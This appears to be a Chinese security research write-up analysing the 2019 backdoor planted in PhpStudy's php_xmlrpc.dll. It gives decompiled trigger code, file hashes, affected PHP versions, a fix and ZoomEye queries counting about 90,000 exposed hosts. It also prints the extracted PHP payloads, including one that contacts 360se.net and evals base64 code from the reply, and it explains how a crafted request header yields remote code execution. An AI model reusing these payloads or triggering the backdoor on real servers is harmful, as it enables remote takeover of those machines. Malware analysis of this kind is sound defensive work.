背景介绍2019/09/20,杭州警方通报打击涉网违法犯罪专项行动,其中通报了警方发现PhpStudy软件被种入后门后进行的侦查和逮捕了犯罪嫌疑人的事情。Hcamael对其样本分析 后门分析最近关于讲phpstudy的文章很多,不过我只得到一个信息,后门在php_xmlrpc.dll文件中,有关键词:"eval(%s(%s))"。得知这个信息后,就降低了前期的工作难度。可以直接对该dll文件进行逆向分析。 Hcamael拿到的是2018 phpstudy的样本: MD5 (php_xmlrpc.dll) = c339482fd2b233fb0a555b629c0ea5d5 对字符串进行搜索,很容易的搜到了函数:sub_100031F0 经过对该函数逆向分析,发现该后门可以分为三种形式: 1.触发固定payload:v12 = strcmp(**v34, aCompressGzip); v14 = (char *)&unk_1000D66C; if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) spprintf(&v36, 0, aVSMS, byte_100127B8, Dest); spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v17 = *(void **)(v16 + 296); *(_DWORD *)(v16 + 296) = &v32; v18 = setjmp3((int)&v32, 0); *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40; zend_eval_string(v42, 0, &rce_cmd, a3); *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19;
从unk_1000D66C到unk_1000E5C4为zlib压缩的payload,后门检查请求头,当满足要求后,会获取压缩后的payload,然后执行@eval(gzuncompress(payload)),把payload解压后再执行,经过提取,该payload为:
@ini_set("display_errors","0"); function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); fwrite($handle, $sendMsg."\n"); stream_set_timeout($handle, 2); $result .= fread($handle, 1024); $info = stream_get_meta_data($handle); if ($info['timed_out']) { $ds = array("www","bbs","cms","down","up","file","ftp"); $ps = array("20123","40125","8080","80","53"); $result = tcpGet($i,$d.".360se.net",$p); $info = explode("<^>",$result); if (strpos($info[3],"/*Onemore*/") !== false){ $info[3] = str_replace("/*Onemore*/","",$info[3]); @eval(base64_decode($info[3]));
2.触发固定的payload2if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 ) if ( strlen(byte_100127B8) == 0 ) sub_10004480(byte_100127B8); if ( strlen(byte_100127EC) == 0 ) sub_100044E0(byte_100127EC); if ( *(_DWORD *)v11 == '\'' ) if ( (signed int)v9 >= (signed int)&unk_1000D66C ) spprintf(&v41, 0, aEvalSS, aGzuncompress, v41); v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v23 = *(_DWORD *)(v22 + 296); *(_DWORD *)(v22 + 296) = &v31; v24 = setjmp3((int)&v31, 0); *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38; zend_eval_string(v41, 0, &rce_cmd, a3); *(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25; if ( dword_1000D010 < 3600 ) if ( dword_10012AA0 < 0 )
当请求头里面不含有Accept-Encoding字段,并且时间戳满足一定条件后,会执行asc_1000D028到unk_1000D66C经过压缩的payload,同第一种情况。
提取后解压得到该payload:
@ini_set("display_errors","0"); $h = $_SERVER['HTTP_HOST']; $p = $_SERVER['SERVER_PORT']; $fp = fsockopen($h, $p, $errno, $errstr, 5); $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n"; $out .= "Host: {$h}\r\n"; $out .= "Accept-Encoding: compress,gzip\r\n"; $out .= "Connection: Close\r\n\r\n";
if ( !strcmp(**v34, aGzipDeflate) ) if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 ) v40 = base64_decode(**v37, strlen((const char *)**v37)); v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v5 = *(_DWORD *)(v4 + 296); *(_DWORD *)(v4 + 296) = &v30; v6 = setjmp3((int)&v30, 0); *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35; zend_eval_string(v40, 0, &rce_cmd, a3); *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;
当请求头满足一定条件后,会提取一个请求头字段,进行base64解码,然后zend_eval_string执行解码后的exp。
研究了后门类型后,再来看看什么情况下会进入该函数触发该后门。查询sub_100031F0函数的引用信息发现: if ( !strcmp(**v34, aGzipDeflate) ) if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 ) v40 = base64_decode(**v37, strlen((const char *)**v37)); v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v5 = *(_DWORD *)(v4 + 296); *(_DWORD *)(v4 + 296) = &v30; v6 = setjmp3((int)&v30, 0); *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35; zend_eval_string(v40, 0, &rce_cmd, a3); *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;
该函数存在于一个结构体中,该结构体为_zend_module_entry结构体: struct _zend_module_entry { unsigned short size; //sizeof(zend_module_entry) unsigned int zend_api; //ZEND_MODULE_API_NO unsigned char zend_debug; //是否开启debug unsigned char zts; //是否开启线程安全 const struct _zend_ini_entry *ini_entry; const struct _zend_module_dep *deps; const char *name; //扩展名称,不能重复 const struct _zend_function_entry *functions; //扩展提供的内部函数列表 int (*module_startup_func)(INIT_FUNC_ARGS); //扩展初始化回调函数,PHP_MINIT_FUNCTION或ZEND_MINIT_FUNCTION定义的函数 int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); //扩展关闭时回调函数 int (*request_startup_func)(INIT_FUNC_ARGS); //请求开始前回调函数 int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); //请求结束时回调函数 void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); //php_info展示的扩展信息处理函数 const char *version; //版本 int module_number; //扩展的唯一编号
sub_100031F0函数为request_startup_func,该字段表示在请求初始化阶段回调的函数。从这里可以知道,只要php成功加载了存在后门的xmlrpc.dll,那么任何只要构造对应的后门请求头,那么就能触发后门。在Nginx服务器的情况下就算请求一个不存在的路径,也会触发该后门。
由于该后门存在于php的ext扩展中,所以不管是nginx还是apache还是IIS介受影响。
修复方案也很简单,把php的php_xmlrpc.dll替换成无后门的版本,或者现在直接去官网下载,官网现在的版本经检测都不存后门。
虽然又对后门的范围进行了一波研究,Hcamael发现后门只存在于php-5.4.45和php-5.2.17两个版本中: Binary file ./php/php-5.4.45/ext/php_xmlrpc.dll matches Binary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches
随后又在第三方网站上(https://www.php.cn/xiazai/gongju/89)上下载了phpstudy2016,却发现不存在后门: phpStudy20161103.zip压缩包md5:5bf5f785f027bf0c99cd02692cf7c322 phpStudy20161103.exe md5码:1a16183868b865d67ebed2fc12e88467
之后Hcamael的同事又发了Hcamael一份他2018年在官网下载的phpstudy2016,发现同样存在后门,跟2018版的一样,只有两个版本的php存在后门: MD5 (phpStudy20161103_backdoor.exe) = a63ab7adb020a76f34b053db310be2e9 Binary file ./php/php-5.4.45/ext/php_xmlrpc.dll matches Binary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches
查看发现第三方网站上是于2017-02-13更新的phpstudy2016。
可能受影响的目标全球分布概况: 通过ZoomEye探测phpstudy可以使用以下dork: 1."Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45" "Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17" +"X-Powered-By" -> 89,483 2.+"nginx/1.11.5" +"PHP/5.2.17" -> 597 总量共计有90,080个目标现在可能会受到PhpStudy后门的影响。
|